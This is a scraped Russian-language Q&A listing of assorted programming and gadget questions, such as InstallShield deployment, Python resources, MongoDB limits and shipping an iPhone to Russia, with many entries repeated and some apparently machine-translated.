    459   8   19:11, 19th August, 2020


    Остановка MSI от запуска EXE в контексте SYSTEM

    У меня здесь проблема с MSI deployment, над которой я работаю (используя InstallShield ). У нас есть программа, работающая в фоновом режиме, которая должна выполняться для каждого пользователя, и она должна запускаться автоматически без вмешательства пользователя.

    Проблема заключается в том, что объект групповой политики / Active Directory (GPO/AD) deployment приложение запускается в контексте SYSTEM до входа в систему, а не как пользователь, который собирается войти в систему. Приложение может выполняться только один раз на пользователя, и кажется, что процесс SYSTEM предотвращает запуск процесса USER. Это означает, что PCs необходимо перезагрузить дважды, прежде чем программное обеспечение может быть развернуто для пользователей. Как нам остановить это?

    В основном текущий рабочий процесс является:

    1. Установки/обновления... убить фоновое приложение
    2. Установка новых файлов
    3. Запуск фонового приложения

    Это работает для опубликованных приложений и интерактивных установок MSI - это только 'assigned' приложений, которые, кажется, имеют проблему. Как Шаг 3 происходит в контексте SYSTEM, а не в контексте пользователя :(

    В идеале, я бы попросил команду разработчиков исправить файл EXE, чтобы предотвратить запуск в контексте SYSTEM, но это цикл выпуска, и я ищу решение на основе установщика для промежуточного периода.

    (Я не знаю Installscript... Поэтому я предполагаю, что VBScript -это, вероятно, путь, если нет родного материала InstallShield, который я могу использовать.)

    installer   installation   windows-installer   installshield    

    433   3   13:25, 16th August, 2020


    Хороший просмотрщик репозитория Git для Mac

    Может ли кто-нибудь порекомендовать хороший просмотрщик репозитория для Git, подобный gitk, который работает на Mac OS X Leopard? (Я не говорю, что gitk не работает)

    Конечно, я хотел бы иметь собственное приложение для Mac, но так как я его не нашел, каковы лучшие варианты для gitk?

    Я знаю о gitview, но я с нетерпением жду, чтобы оценить как можно больше альтернатив.

    http://sourceforge.net/projects/gitview

    git   macos   version-control    

    474   14   04:14, 23rd August, 2020


    Программное обеспечение Deployment в виртуальной среде

    Я ищу способ, чтобы дать предварительный просмотр или демо-версии нашего программного обеспечения для наших клиентов как можно проще.

    Программное обеспечение, которое мы сейчас разрабатываем, - это довольно большой проект. Он состоит из клиентской среды, сервера приложений, различных баз данных, хоста веб-служб и т.д. Проект развивается постепенно, и мы хотим отгружать биты с интервалом от одного до двух месяцев. Первые поставки не будут использоваться в производстве. Они имеют целей демо, чтобы поощрять клиентов дать обратную связь.

    Мы не хотим обременять клиентов установкой и настройкой системы. В общем, мы ищем способ облегчить deployment, установку и настройку боли.

    Я думал о том, чтобы использовать метод виртуализации для предварительной установки и предварительной настройки виртуальной машины со всеми необходимыми компонентами. Наши клиенты просто должны mount виртуальный образ и запустить приложение.

    Я хотел бы услышать от людей, которые используют эту технику. Я полагаю, что есть и некоторые трудности. В частности, как насчет проблем лицензирования с установленным OS? Возможно, срок действия виртуальной машины истекает через определенный период времени.

    Какие-нибудь впечатления там?

    deployment   configuration   virtualization    

    657   5   19:41, 20th August, 2020


    Как вы управляете версиями в веб-приложении?

    Каковы стратегии управления версиями веб-сайта application/?

    Я заметил, что здесь, в бета-версии, есть номер редакции svn в нижнем колонтитуле, и это идеально подходит для приложения, которое использует svn над одним репозиторием. Но что делать, если вы используете внешние программы или другое приложение управления версиями, которое выпускает отдельные файлы?

    Это кажется простым для настольного приложения, но я не могу найти подходящий способ управления версиями для веб-приложения asp.net.

    NB я не уверен, что был полностью ясен со своим вопросом.

    1. Я хочу знать, как построить и автоматически увеличить номер версии для приложения asp.net.
    2. Меня не интересует, как связать его с svn.

    asp.net   versioning   version-control    

    434   5   20:05, 23rd August, 2020


    Как изменить цвет шрифта экземпляров объектов в Visual Studio

    Я знаю, что цвета изменяются в среде > шрифты и цвета, но я не выяснил, какой элемент отображения является объектом.

    Может кто-нибудь, пожалуйста, скажите, как я могу покрасить следующий код:

    lblMessage.Text = "You have successfully answered my question!"

    У меня есть строка окрашена в розовый цвет, я хотел бы lblMessage фиолетовый и то .Текст светло-зеленый.

    Для меня Чем темнее цвет, тем меньше он будет "change". Я не буду часто менять имена объектов, я буду чаще менять свойства и всегда меняю строки - хотя у меня есть еще один вопрос об этом, который я опубликую позже.

    Спасибо

    visual-studio-2005   colors   environment    

    540   2   09:04, 3rd August, 2020


    Это контроль версий (т. е. Subversion) применяется в отслеживании документов?

    Я отвечаю за более чем 100 документов (документ word, а не исходный код), которые нуждаются в доработке разными людьми в моем отделе. В настоящее время все документы находятся в общей папке, где они будут извлекаться, пересматриваться и сохраняться обратно в папку.

    Сейчас я ищу "date modified" в общей папке, открываю недавно измененные документы и использую функцию "Track Change" в MS Word для применения изменений. Я нахожу это немного утомительным.

    Так будет ли лучше и проще, если я зафиксирую это в базе данных управления версиями?

    В основном я хочу сохранить другую версию файла.


    Чему я научился из ответов:

    • Используйте машину времени для сохранения различных версия (или теневая копия в Vista)

    • Существует разница между текстом и бинарные документы, когда вы используете приложение для контроля версий. (А я и не знал тот)

    • Diff не будет работать с двоичными файлами

    • Система уведомлений (ie email) для пересмотра очень хороша

    • Функция редактирования Google Docs.

    Обновление :

    Я поиграл с функцией редактирования Google Docs и чувствую, что это почти правильно для меня. Просто немного раздражен слишком частым версионированием (автосохранением).

    Но то, что кажется правильным для меня, не означает, что это правильно для моего отдела. Будут ли они в порядке с сохранением всех этих документов с помощью Google?

    version-control   tracking    

    574   20   02:23, 18th August, 2020


    Java возврат копии для скрытия будущих изменений

    В Java, скажем, у вас есть класс, который обертывает ArrayList (или любую коллекцию) объектов.

    Как бы вы вернули один из этих объектов, чтобы вызывающий объект не видел никаких будущих изменений объекта, сделанных в ArrayList?

    т. е. вы хотите вернуть глубокую копию объекта, но вы не знаете, можно ли его клонировать.

    java   deep-copy   cloning    

    457   3   18:41, 3rd August, 2020


    Visual Source Safe -- > TFS Миграция

    Здесь мы работаем с кучей безопасных репозиториев визуальных источников уже около 10 лет или около того.

    Теперь я хочу избавиться от sourcesafe и перейти к Team Foundation Server.

    У вас есть какие-нибудь советы или рекомендации для меня, прежде чем я начну эту миграцию? С какими вещами я должен быть осторожен?

    Я уверен, что эта миграция будет означать, что наши рабочие привычки должны быть каким-то образом изменены. Считаете ли вы, что эти изменения могут стать проблемой для организации? Подумайте о группе примерно из 20 .NET разработчиков на одном сайте.

    version-control   tfs   visual-sourcesafe   vssconverter    

    422   8   08:13, 21st August, 2020


    Динамическая ссылка на файлы ресурсов в C#

    У меня есть приложение, на котором я реализую локализацию.

    Теперь мне нужно динамически ссылаться на имя файла ресурсов.

    предположим, что у меня есть файл ресурсов с именем Login.resx, а также ряд строк: foo="hello", bar="cruel" и baz="world"

    обычно я буду ссылаться как: Строковый результат =Login.foo; и результат= = "hello";

    моя проблема заключается в том, что во время кода я не знаю, хочу ли я ссылаться на foo, bar или baz - у меня есть строка, содержащая либо "foo", "bar", либо "baz".

    Мне нужно что-то вроде:

    Login["foo"];

    Кто-нибудь знает, есть ли способ динамически ссылаться на строку в файле ресурсов?

    c#   localization    

    491   2   08:29, 18th August, 2020


    Установите Python, чтобы соответствовать макету каталога в OS X 10.5

    Установка по умолчанию Python на OS X 10.5 - это 2.5.1 с 32-разрядным клиентом FAT (Intel и PPC). Я хочу настроить apache и mysql для запуска django. В прошлом я запускал Apache и MySQL, чтобы соответствовать этой установке в 32-битном режиме (даже удаляя 64-битный материал из Apache, чтобы заставить его работать).

    Я хочу обновить Python до 64 бит. Я полностью доволен компиляцией его из источника с одной оговоркой. Как я могу соответствовать способу установки по умолчанию? Особенно, что касается пакетов сайтов, находящихся в /Library/Python/2.5/ , а не в похороненном в верхней части фреймворка, как только я его скомпилирую.

    python   macos   64-bit    

    396   5   16:20, 19th August, 2020


    Как включить веб-приложение

    Я запускаю игру, и запуск выполняется вручную, у меня есть несколько сценариев, которые помогают мне, но по сути это я делаю работу. В данный момент я работаю над веб-приложением, которое позволит пользователям напрямую вводить некоторые из своих игровых действий и, таким образом, сэкономить мне много работы.

    Проблема в том, что я один человек, работающий над проектом среднего размера (более 20 таблиц), рабочая нагрузка не является проблемой, это то, что ошибки будут проскальзывать, даже если я тестирую, когда пишу. Поэтому мой вопрос, таким образом, двоякий.

    1. Бета-тестирование, я люблю открытые бета-версии, но будет ли закрытая бета-версия более эффективной и даст лучшие результаты?
    2. Как я должен принести в приложение? Должен ли я один поворот бросить его и объявить, что он используется, или я должен использовать его вместе с обычной конструкцией игры?

    web-applications   beta   launching    

    335   3   09:19, 7th August, 2020


    Что было бы хорошо, windows и iis (http) на основе распределенной системы управления версиями

    На моей работе мы делаем & продаем сайты. Обычно мы устанавливаем наши .NET C# базирует сайт на сервере заказчика и поддерживает его удаленно. Тем не менее, каждый раз в то время, для большего развития работает и просто сделать вещи проще (и быстрее!), мы скопируем сайт на локальный сервер.

    Это здорово, но есть одна боль - перемещение сайта обратно к клиенту. Теперь, если ничего не было изменено на копии клиента-нет проблем. Тем не менее, это печальная правда, что когда-то (читайте чаще, чем хотелось бы) некоторые исправления были необходимы для применения на рабочем сервере. Либо потому, что клиент нуждался в нем NOW, либо просто потому, что это была серьезная ошибка.

    Я знаю, что вы можете легко применить эти исправления ошибок к локальной копии, но это процесс, подверженный ошибкам. Поэтому я возлагаю свои надежды на распределенный контроль версий, чтобы помочь синхронизировать две копии.

    Вот что мне нужно:

    • Простота установки-больше ничего не нужно, кроме установщика и прав администратора.
    • Может быть интегрирован в существующий веб-сайт в качестве виртуального каталога и работает на порту 80 - нет хлопот с новым DNS требуется.
    • Отличное программное обеспечение

    Вот и все. Есть идеи?


    Некоторые комментарии к ответам

    Во-первых, спасибо! очень признателен.

    Я посмотрел на Mercurial и базар, и оба выглядят очень хорошо. Единственным нюансом является установка в качестве виртуального каталога на IIS. Mercurial, насколько я понимаю, используют специальный протокол (wire) и Базар нуждается и в добавлении расширений python. Есть ли другая система, которую легче интегрировать с IIS? Я готов принять удар производительности для этого.

    http   version-control   distributed    

    432   3   19:30, 7th August, 2020


    Как лучше всего настроить сервер тестирования интеграции?

    Настраивая сервер интеграции, я сомневаюсь в лучшем подходе к использованию нескольких задач для завершения сборки. Является ли лучшим способом установить все в одной большой работе или сделать маленькие зависимыми?

    continuous-integration   integration-testing    

    482   7   22:50, 8th August, 2020


    Есть у кого решение этой задачки на питоне?

    Помогите пожалуйста, есть у кого решение этой задачи (желательно на питоне)? Всё никак не могу с ней разобраться.

    https://codeforces.com/contest/731/problem/B

    питон   codeforce   python   решение  

    687   3   22:35, 7th September, 2020


    Xороший софт для управления проектом + багтрекер + контроль версий?

    Сразу предупреждаю, что смотрел много чего, и онлайновые сервисы, и оффлайновые приложения, пока остановился на Trac + пара плагинов.


    Всем бы неплох, но нет возможности делать многоуровневые задачи (т.е. есть некая общая задача, а внутри нее подзадачи) или тикеты. Слишком плоская схема получается, не для сложных проектов.



    Python: посоветуйте форум, конференцию или похожее

    Здравствуйте!

    Я начинающий программист на python, но имею опыт разработки на других языках программирования. Посоветуйте мне, пожалуйста, форум, конференцию, может быть jabber-комнату, где общаются люди, занимающиеся разработкой на python. Часто возникают какие-нибудь вопросы, а самому не получается найти ответ. Такие места общения позволяют оперативно решить вопрос с минимумом затрат времени.

    С уважением, Михаил

    Python    

    334   12   04:13, 17th August, 2020


    Редирект в зависимости от User Agent средствами Apache

    Здравствуйте,

    скажите, пожалуйста, есть ли возможность в конфиге виртуального-хоста проверить наличие в user agent слов iphone, ipod, ipad и если да, то перекинуть его на другой домен?

    iPhone   Apache    

    282   3   17:39, 26th August, 2020


    Ограничить скорость на выполнение определенных внешних запросов?

    Здравствуйте!

    Допустим есть многопользовательский движок, некоторые части которого могут что-то парсить из вне по команде пользователя. Хотелось бы ограничить скорость некоторых внешних запросов для некоторых пользователей.


    UPD:

    Интересует с помощью каких серверных технологий такое можно реализовать — возможно через nginx или apache или юниксовые утилиты как-то можно ограничить определенные запросы? Или нужно пропускать подобные запросы через самописную утилитку и там, на уровне системы обрезать скорость? Как это лучше сделать? Дописать что-то не проблема, хотелось бы понять теорию. Задача, думаю, ясна.


    Сейчас продумывается архитектура веб-приложения, поэтому на каком интерпретируемом языке будет написан движок, думаю, роли не играет. Допустим пока на PHP.


    За ссылки по теме тоже буду очень благодарен.


    Спасибо.

    Client   side   optimization    

    300   1   13:11, 5th August, 2020


    Как задать свой autoincrement primary key в AppEngine/Python?

    Есть, допустим, класс статьи, экземпляры которых хранятся в гугловском дата сторадже. И хочется дать на неё ссылку:

    [ a href="/article/{{ article.uid }}" ]

    Чтобы получилось типа такого:

    [ a href="/article/55" ]

    У гугла есть свои UUID'ы, но уж больно они страшны для для того чтобы быть частью урла: ahBzb3ZpZXRncm9vdmVibG9ncg0LEgdBcnRpY2xlGAgM.

    Python   G   Suite    

    320   2   03:48, 17th August, 2020


    Многоуровневая UITableView?

    Нужно сделать много уровненую таблицу. К примеру в начале у нас есть всего 3 ячейки
    cc9f19a769b613a2fcaa7337ab02c1fa.png


    Тапая по первой у нас добавятся ячейки второго уровня 1d09805ad46be36022dc59a7bb3b88f1.png


    И дальше 3го уровня


    Я понимаю, что это делается простым insertRowsAtIndexPaths Но у меня данные берутся из разных массивов. Я так думаю нужно использовать какие то состояния для каждого случая. Но не могу понять как. Может кто то делал что то подобное? Поделитесь сниппетами ;)

    iPhone   Objective-C    

    394   1   02:47, 12th August, 2020


    Книгу по Rails 3 на русском или английском?

    Хотелось бы заиметь что-то похожее на «Гибкую разработку веб-приложений в среде Rails» (с примером приложения, которое пишется по ходу повествования), но уже для третих рельс. И вообще хорошо будет если там же про RSpec будет.

    Книги   Ruby   on   Rails    

    360   6   10:13, 11th August, 2020


    Python. Ограничение вводимых данных

    Не программист, вожусь с питоном just4fun. Возник вопрос по raw_input — можно ли как-то принудительно ограничить объем вводимых данных? Пытался нагуглить ответ — то ли неправильно гуглил, то ли распространенного решения нет, то ли это никому не нужно, т.к. в питоне есть встроенные автоматические средства защиты от дурака и можно не заморачиваться.

    Python    

    306   4   08:31, 25th August, 2020


    С чего начать изучение python?

    Может плохо искал, но мне не попадались адекватные книги или сайты (желательно русскоязычные) на тему изучения данного языка с нуля. Буду рад ссылкам или названиям.

    Python    

    371   11   13:50, 15th August, 2020


    Создание .pyc и .pyo файлов?

    Собственно вопрос такой: «Как при наличии файла .py сделать из него .pyc и .pyo? (Знаю что можно импортировать модуль, но хотелось бы как-нибудь по другому. типо ключика перед запуском)»

    Python    

    293   3   18:51, 15th August, 2020


    Python для научного программирования?

    Слышал про библиотеки NumPy, SciPy и Matplotlib, ну как слышал, на википедии прочитал :-) Кто ими пользовался, какие преимущества перед МатЛабом или МатКадом, можно ли обрабатывать большие объемы данных с помощью сложных мат преобразований, и красиво выводить результаты.

    Python    

    322   6   08:46, 9th August, 2020


    Шардинг MongoDB под нагрузкой?

    Как ведет себя шардинг MongoDB под нагрузкой? Особенно как влияет на загрузку системы их Map/Reduce?

    NoSQL   MongoDB   Партиционирование   и   шардинг   баз   данных    

    360   1   13:24, 4th August, 2020


    Посоветуйте хорошие книги по Python'у ориентированные на веб-разработку

    Пхп надоел, хочется новенького. Решил взяться за изучение питона. Посоветуйте хорошие книженции (только не для чайников :). Английский или русский — все равно.
    Вооружившись питоном хочу перейти к изучению Google App Engine — по нему тоже хотелось бы чего-нить интересного почитать.

    Python   Компьютерные   сети    

    327   6   21:56, 6th August, 2020


    UI мобильных приложений: Native SDK vs. HTML5

    Предположим, перед вами стоит задача написать кросс-платформенное приложение для iPhone, Android и других современных мобильных OS; к примеру, мобильный клиент для вашего веб-сервиса.

    Что вы выберете: изучать тонкости native SDK для построения UI для каждой конкретной платформы, или использовать WebKit и HTML5?

    Сразу отмечу, что использование HTML5 никоим образом не ограничивает в доступе ко всей функциональности устройства, поскольку WebKit-движок и на iPhone и на Android позволяет взаимодействовать native-коду и javascript. Вопрос касается исключительно разработки пользовательского интерфейса — layout'ов, виджетов, анимаций, разнообразных графических элементов и тому подобного.

    iPhone   Android   HTML   Мобильная   разработка   Webkit    

    366   2   06:40, 10th August, 2020


    iPhone 3Gs & Windows 7 x64

    Здравствуйте! Прошу помощи коллективного разума.
    Неделю назад приобрел новый iPhone 3GS. На моей машине (Acer 8942G OS: Windows 7 x64 Home Premium) он не синхронизировался и вообще в itunes не опозновался. Немного погуглив, нашел информацию о том, что имеется проблема синхронизации именно с моей ОС, и ещё грешили на чипсет intel p55 (не зню, на каком чипсете собран мой ноут, но мей би и на нем).
    На другом ноуте с XP синхронизация проходит отлично.
    Недолго думая запустил виртуальную машину на семёрке, установил XP. iPhone в виртуалке опознался, данные с телефона в itunes поступают, он видит мои программы, но при попытке синхронизации возникает ошибка: «Не удается синхронизировать iPhone „voftik“. Указанное имя файла является дубликатом», или еще "… файл не найден".
    Помогите пожалуйста решить проблему…

    iPhone   Синхронизация   данных   Windows    

    354   5   19:16, 3rd August, 2020


    Можно ли заряжать iPhone зарядкой от iPad? (1A против 2.1A)?

    Такое чувство, что заряженный айпадовской зарядкой телефон садится намного быстрее.

    iPhone   iPad    

    337   7   10:36, 29th August, 2020


    Можно ли купить в России PS3 Slim US

    Собственно, сабж. Проблема в том, что я может быть скоро отправлюсь в другую страну, где в сети не 220 вольт, а всего 110. US версия должна работать и в Америке, и в Европе, а вот русская версия, только во втором.

    Игровые   приставки   Sony   PlayStation    

    357   2   13:29, 3rd August, 2020


    Amazon EC2

    Насколько он хорош как замена стандартному хостингу(аренде сервера)? В плане реальной стоимости на выходе, и производительности в работе? Можно ли получить гарантированные ресурсы сопоставимые с выделенным сервером?
    Если есть опыт развертывания крупных проектов — буду очень рад услышать отзыв.

    Amazon   Web   Services   Облачные   вычисления    

    396   4   06:49, 18th August, 2020


    NoSQL — особенности применения

    В каком случае оправдано использование таких баз данных как MongoDB, CouchDB, Redis и некоторых других?

    Имеет ли смысл ставить их вместо классического mysql, на сайте со слабой нагрузкой?

    Используются ли они в связке с mysql, или работают отдельно?



    Посредники для покупки из Apple Store в Гонконге?

    Не секрет, что в Гонконге цены Apple Store отличаются от российских значительно. Кто-нибудь пробовал покупать оттуда? Если ли посредники типа Shipito, работающие там?

    iPhone   Apple   App   Store   MacBook    

    347   4   04:16, 11th August, 2020


    Экспорт документов из google-docs через python-api

    простой код экспорта из google docs
    # -*- coding: utf-8 -*-
    import gdata.docs
    import gdata.docs.service
    gd_client = gdata.docs.service.DocsService()
    gd_client.ClientLogin('login@gmail.com', 'superpassword')
    
    #загружаем файл print.html в google docs
    ms = gdata.MediaSource(file_path='print.html', content_type="text/html")
    entry = gd_client.Upload(ms, 'NewDocument')
    
    #экспортируем файл в doc
    file_path = 'print.doc'
    gd_client.Export(entry, file_path)
    
    


    на выходе формат файла pdf, а не doc.

    Python   Google   Drive    

    275   3   19:45, 19th August, 2020


    E-book для технической литературы?

    На данный момент выбор стоит между Nook'ом и Kindle 3. На 9,7" варианты денег пока нет.

    Давно хотел Нук, но их новая ревизия не шьется, а pdf в стандартной прошивке читать невозможно.

    Так вот вопрос, стоит ли париться, выискивая на ебее старые ревизии, или брать киндл и не парить мозг?

    Электронные   книги   Amazon   Kindle    

    311   14   23:30, 5th August, 2020


    Хочу заказать книгу "Thinking in Java" на amazon?

    До этого с интернет-шоппингом не сталкивался, интересуют советы «бывалых». :) Уже много информации быстро просмотрел, но в голове мозайка пока не сложилась. Хуже того, местами она противоречива. Например, в одном месте встречал упоминание о том, что в страны СНГ amazon доставляет книги и диски напрямую. В другом, что сейчас так не делают, либо это выходит слишком дорого и гораздо проще воспользоваться услугами посредника, например, shipito.


    Если лаконично декомпозировать абзац выше, то интересует:
    1. Правда ли, что доставлять из британского amazon'а выходит быстрее и дешевле, чем из США? И как быть с конвертацией валют?
    2. Можно и нужно ли брать прямую доставку книги, если такая есть?
    3. Какой способ доставки выбрать?
    4. Что правильно вводить в shipping address? Особенно интересны такие поля, как ZIP, State/Province/Region, Address Line. Можно ли где-то это подсмотреть, чтобы не накосячить с транскрипцией?

    Amazon    

    233   4   18:52, 11th August, 2020


    Прочитал, что MongoDB имеет ограничение в 4Мб на документ. Я не ошибся?

    Особенно не понятно, если рекомендуется де-нормализовать данные — например, хранить комментарии к комментарию…

    comment:{Id:..., Text: ..., comments: []}


    Это ведь упрешься в лимит и труба…

    MongoDB   Документооборот    

    352   7   07:10, 18th August, 2020


    Чем отправить iPhone из США в Россию?

    Подруга находится в США и может купить iPhone без контракта (~$650). Какой службой можно доставить его в Россию без особых напрягов? Насколько помню, DHL перестал отправлять посылки из США в Россию уже в марте.

    iPhone   Электронная   почта   Доставка    

    352   6   15:27, 25th August, 2020


    Чем отправить iPhone из США в Россию?

    Подруга находится в США и может купить iPhone без контракта (~$650). Какой службой можно доставить его в Россию без особых напрягов? Насколько помню, DHL перестал отправлять посылки из США в Россию уже в марте.

    iPhone   Электронная   почта   Доставка    

    463   3   21:53, 23rd August, 2020


    Instance у амазона продолжает учитываться если остановлен?

    Если у меня инстанс приостановлен (через Stop), а не удален (Terminate), будет ли расти мой счет?

    Amazon   Web   Services    

    356   2   11:07, 21st August, 2020


    Вменяемое решение для загрузки картинок с TinyMCE+symfony 1.4?

    Подскажите вменяемое решение для загрузки картинок через TinyMCE (или любой другой редактор) в symfony 1.4



    Пробовал sfMediaBrowserPlugin, кривой, дерьмовый интерфейс.

    Symfony   TinyMCE    

    327   4   15:33, 7th August, 2020


    Python Remote Objects — написанный код?

    Вот здесь находится сайт их проекта — библиотека, позволяющая легко организовать распределенную архитектуру программы.

    Сабж следующий.


    Был ли у Вас опыт написания распределенных, приложений, на питоне — можете поделиться опытом?


    Любое упоминание про актуальную информацию: статьи, названия учебников, тематические порталы, опен-сурс проекты, интересные исходники, краткое резюме существующих архитектур проектов(если такие бывают) — будут встречены с радостью и одобрением.


    Спасибо.

    Opera   Python   Распределенные   вычисления    

    382   3   20:30, 13th August, 2020


    Как обменять Яндекс.Деньги на webmoney без привязки кошельков?

    Может через третьи сервисы (не прямой обмен), или через частных лиц? Что посоветуете?

    WebMoney    

    362   13   13:17, 4th August, 2020


    Как заматчить в питоне многострочный текст регэкспом?

    Как заматчить в питоне текст из файла регэкспом? не ограничиваясь \r\n.

    Python   Регулярные   выражения    

    430   1   15:09, 23rd August, 2020


    Symfony vjCommentPlugin+sfGuardPlugin

    Всем привет. Установил на свой проект оба плагина по ридми, всё встало и настроилось с полпинка.
    Но вот проблема в добавлении коммента — щёлкаю по send comment, происходит редирект на эту же страницу, но уже с 404 ошибкой, у формы экшн пустой кстати, т.е сабмит должен идти на эту страницу.

    Empty module and/or action after parsing the URL "/company/34/testcompany"

    щёлкаю по адресной строке жму ентер, происходит рефреш и страница отображается нормально.

    В чём может быть проблема? Да и комменты в БД не добавляются кстати, т.е на рефреше всё стопорится.
    Спасибо за любую помощь.

    Symfony    

    322   1   00:24, 8th August, 2020


    Как правильно ввезти и оформить Iphone 3g в Украине

    Родственник из Канады купил и хочет переслать мне Iphone 3g. Вопрос следующий: ввиду последний нововведений в областях таможенного контроля и регистрации аппаратов в УДЦР, как правильно оформить пересылку. Подскажите, кто сталкивался.
    p.s. Ах да, забыл, какую службу доставки порекомендуете?

    iPhone    

    310   5   10:25, 10th August, 2020


    E-book для технической литературы?

    На данный момент выбор стоит между Nook'ом и Kindle 3. На 9,7" варианты денег пока нет.

    Давно хотел Нук, но их новая ревизия не шьется, а pdf в стандартной прошивке читать невозможно.

    Так вот вопрос, стоит ли париться, выискивая на ебее старые ревизии, или брать киндл и не парить мозг?

    Электронные   книги   Amazon   Kindle    

    442   14   00:01, 12th August, 2020


    Хочу заказать книгу "Thinking in Java" на amazon?

    До этого с интернет-шоппингом не сталкивался, интересуют советы «бывалых». :) Уже много информации быстро просмотрел, но в голове мозайка пока не сложилась. Хуже того, местами она противоречива. Например, в одном месте встречал упоминание о том, что в страны СНГ amazon доставляет книги и диски напрямую. В другом, что сейчас так не делают, либо это выходит слишком дорого и гораздо проще воспользоваться услугами посредника, например, shipito.


    Если лаконично декомпозировать абзац выше, то интересует:
    1. Правда ли, что доставлять из британского amazon'а выходит быстрее и дешевле, чем из США? И как быть с конвертацией валют?
    2. Можно и нужно ли брать прямую доставку книги, если такая есть?
    3. Какой способ доставки выбрать?
    4. Что правильно вводить в shipping address? Особенно интересны такие поля, как ZIP, State/Province/Region, Address Line. Можно ли где-то это подсмотреть, чтобы не накосячить с транскрипцией?

    Amazon    

    250   4   16:04, 19th August, 2020


    Прочитал, что MongoDB имеет ограничение в 4Мб на документ. Я не ошибся?

    Особенно не понятно, если рекомендуется де-нормализовать данные — например, хранить комментарии к комментарию…

    comment:{Id:..., Text: ..., comments: []}


    Это ведь упрешься в лимит и труба…

    MongoDB   Документооборот    

    296   7   07:18, 20th August, 2020


    Чем отправить iPhone из США в Россию?

    Подруга находится в США и может купить iPhone без контракта (~$650). Какой службой можно доставить его в Россию без особых напрягов? Насколько помню, DHL перестал отправлять посылки из США в Россию уже в марте.

    iPhone   Электронная   почта   Доставка    

    365   6   17:24, 3rd August, 2020


    Чем отправить iPhone из США в Россию?

    Подруга находится в США и может купить iPhone без контракта (~$650). Какой службой можно доставить его в Россию без особых напрягов? Насколько помню, DHL перестал отправлять посылки из США в Россию уже в марте.

    iPhone   Электронная   почта   Доставка    

    2663   3   02:07, 12th August, 2020


    Instance у амазона продолжает учитываться если остановлен?

    Если у меня инстанс приостановлен (через Stop), а не удален (Terminate), будет ли расти мой счет?

    Amazon   Web   Services    

    361   2   07:51, 19th August, 2020


    Вменяемое решение для загрузки картинок с TinyMCE+symfony 1.4?

    Подскажите вменяемое решение для загрузки картинок через TinyMCE (или любой другой редактор) в symfony 1.4



    Пробовал sfMediaBrowserPlugin, кривой, дерьмовый интерфейс.

    Symfony   TinyMCE    

    248   4   15:41, 9th August, 2020


    Python Remote Objects — написанный код?

    Вот здесь находится сайт их проекта — библиотека, позволяющая легко организовать распределенную архитектуру программы.

    Сабж следующий.


    Был ли у Вас опыт написания распределенных, приложений, на питоне — можете поделиться опытом?


    Любое упоминание про актуальную информацию: статьи, названия учебников, тематические порталы, опен-сурс проекты, интересные исходники, краткое резюме существующих архитектур проектов(если такие бывают) — будут встречены с радостью и одобрением.


    Спасибо.

    Opera   Python   Распределенные   вычисления    

    413   3   03:32, 3rd August, 2020


    Как обменять Яндекс.Деньги на webmoney без привязки кошельков?

    Может через третьи сервисы (не прямой обмен), или через частных лиц? Что посоветуете?

    WebMoney    

    423   13   13:03, 29th August, 2020


    Как заматчить в питоне многострочный текст регэкспом?

    Как заматчить в питоне текст из файла регэкспом? не ограничиваясь \r\n.

    Python   Регулярные   выражения    

    373   1   00:52, 22nd August, 2020


    Symfony vjCommentPlugin+sfGuardPlugin

    Всем привет. Установил на свой проект оба плагина по ридми, всё встало и настроилось с полпинка.
    Но вот проблема в добавлении коммента — щёлкаю по send comment, происходит редирект на эту же страницу, но уже с 404 ошибкой, у формы экшн пустой кстати, т.е сабмит должен идти на эту страницу.

    Empty module and/or action after parsing the URL "/company/34/testcompany"

    щёлкаю по адресной строке жму ентер, происходит рефреш и страница отображается нормально.

    В чём может быть проблема? Да и комменты в БД не добавляются кстати, т.е на рефреше всё стопорится.
    Спасибо за любую помощь.

    Symfony    

    356   1   15:46, 17th August, 2020


    Как правильно ввезти и оформить Iphone 3g в Украине

    Родственник из Канады купил и хочет переслать мне Iphone 3g. Вопрос следующий: ввиду последний нововведений в областях таможенного контроля и регистрации аппаратов в УДЦР, как правильно оформить пересылку. Подскажите, кто сталкивался.
    p.s. Ах да, забыл, какую службу доставки порекомендуете?

    iPhone    

    242   5   08:29, 6th August, 2020


    JQuery, JSON, iframe и кавычки вместе не работают?

    Произвожу upload файла в iframe(по другому вроде никак). В качестве ответа генерирую JSON объект где одно из полей это строчка с html описывающим ошибку.

    Вопрос: Как мне забрать этот ответ от сервера его не побив?



    Когда использую .text() из JQuery все теги удаляются.

    Когда использую .html() из JQuery он «исправляет» html и после этого не возможно сделать десериализацию JSON потому-что кавычки теряют экранирующий символ. получаем Invalid JSON.

    jQuery   HTML   JSON    

    313   4   01:24, 2nd August, 2020


    Чего посоветуете использовать для подмены веб запросов?

    fakeweb или webmock?
    Можно комментариями здесь, либо проголосовать.

    Ruby   on   Rails    

    292   1   20:32, 22nd August, 2020


    Где переводить WMZ с минимальной комисиией?

    Комиссия получается в трёх местах — при переводе рублей себе на кошелёк, при переводе рублей в доллары, при переводе долларов исполнителю. Дороговато получается

    WebMoney    

    389   6   12:32, 13th August, 2020


    Неродные наушники для iPhone

    За пару лет использования родные «уши» пришли в совершенно непотребное состояние. Читал, что это неминуемо для Apple'овских наушников (сперва слетают резинки на концах, потом остальное разлетается).

    Можете посоветовать качественные наушники других фирм? Естественно, надо чтобы можно было не только музыку слушать, но и пользоваться для разговоров (не обязательно такая же «кнопка», как в родных ушах, но функционал должен быть не меньшим).

    iPhone   Наушники    

    262   6   18:57, 21st August, 2020


    Среда разработки многоанетных систем на Python (аналог JADE для Java)?

    Собственно, сабж. Знает ли кто-нибудь аналог JADE? Хотелось бы, чтобы она была совместима с FIPA. Если кто сталкивался с этим, с удовольствием бы услышал опыт проектирования таких систем.


    Спасибо!

    Python    

    319   1   10:29, 26th August, 2020


    Способы принимать donations для eng сайтов помимо Paypal?

    Какие еще есть варианты именно для зарубежных сайтов? Пейпал вполне устраивает и используется, но у некоторых пользователей к нему ненависть :)

    PayPal   Donations    

    326   5   17:03, 20th August, 2020


    Mongo и рекламная аналитика

    Господа, а имеется ли у кого-то из вас опыт использования Mongo для хранения данных по рекламным показам/кликам и пр.? Я так прикинул, что для этой задачи Монго был бы вполне на своём месте.
    Какие могут быть подводные камни?

    MongoDB    

    283   2   09:57, 22nd August, 2020


    Symfony framework голосование

    Есть ли плагин для симфони, который реализует простенькую голосовалку + и — ?
    Или статьи на эту тему, искал не нашёл пока ничего.
    Спасибо.

    Symfony    

    423   1   07:27, 26th August, 2020


    Python + paramiko + shell script?

    Добрый день!


